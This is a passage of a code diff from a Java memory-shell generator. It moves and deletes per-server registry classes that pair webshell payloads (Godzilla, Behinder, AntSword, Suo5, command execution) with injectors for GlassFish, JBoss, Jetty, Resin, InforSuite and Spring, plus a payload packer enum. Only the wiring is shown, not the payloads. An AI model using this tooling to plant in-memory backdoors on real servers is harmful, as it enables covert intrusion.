map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,104 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class InforSuiteShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,92 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class JbossShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve.class, JbossValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve.class, JbossValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve.class, JbossValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,100 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/7
*/
public class JettyShell extends AbstractShell {
public static final String AGENT_HANDLER = AGENT + "Handler";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
map.put(AGENT_HANDLER, Pair.of(CommandHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
map.put(AGENT_HANDLER, Pair.of(GodzillaHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class));
map.put(AGENT_HANDLER, Pair.of(BehinderHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class));
map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.packer.BCELPacker;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.XxlJobPacker;
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
@@ -34,6 +37,7 @@ import lombok.Getter;
import java.util.List;
import java.util.Objects;
import java.util.stream.Collectors;
import java.util.stream.Stream;
/**
@@ -130,6 +134,6 @@ public enum Packers {
}
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).toList();
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
}
}
@@ -1,88 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
import com.reajason.javaweb.memshell.resin.command.CommandListener;
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class ResinShell extends AbstractShell {
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config;
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.server.*;
import lombok.Getter;
/**
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.config;
package com.reajason.javaweb.memshell;
/**
* @author ReaJason
@@ -1,13 +1,10 @@
package com.reajason.javaweb.memshell.config;
import net.bytebuddy.jar.asm.Opcodes;
package com.reajason.javaweb.memshell;
/**
* @author ReaJason
* @since 2024/11/28
*/
public class Constants {
public static final int DEFAULT_VERSION = Opcodes.V1_6;
public class ShellType {
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
@@ -1,57 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class SpringWebFluxShell extends AbstractShell {
public static final String WEB_FILTER = "WebFilter";
public static final String HANDLER_METHOD = "HandlerMethod";
public static final String HANDLER_FUNCTION = "HandlerFunction";
public static final String NETTY_HANDLER = "NettyHandler";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(WEB_FILTER, Pair.of(CommandWebFilter.class, SpringWebFluxWebFilterInjector.class));
map.put(HANDLER_METHOD, Pair.of(CommandHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class));
map.put(HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class));
map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(WEB_FILTER, Pair.of(GodzillaWebFilter.class, SpringWebFluxWebFilterInjector.class));
map.put(HANDLER_METHOD, Pair.of(GodzillaHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class));
map.put(HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class));
map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(WEB_FILTER, Pair.of(Suo5WebFilter.class, SpringWebFluxWebFilterInjector.class));
return map;
}
}
@@ -1,87 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class SpringWebMvcShell extends AbstractShell {
public static final String INTERCEPTOR = "Interceptor";
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
public static final String CONTROLLER_HANDLER = "ControllerHandler";
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class));
